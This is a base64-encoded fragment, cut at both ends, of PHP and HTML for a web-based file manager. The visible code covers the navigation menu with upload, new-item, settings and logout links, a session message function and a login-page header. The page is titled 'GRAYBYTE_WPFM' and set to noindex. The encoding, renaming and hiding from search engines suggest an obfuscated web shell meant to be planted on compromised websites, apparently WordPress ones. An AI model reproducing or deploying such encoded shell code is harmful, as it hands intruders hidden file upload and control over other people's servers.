CAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3Jl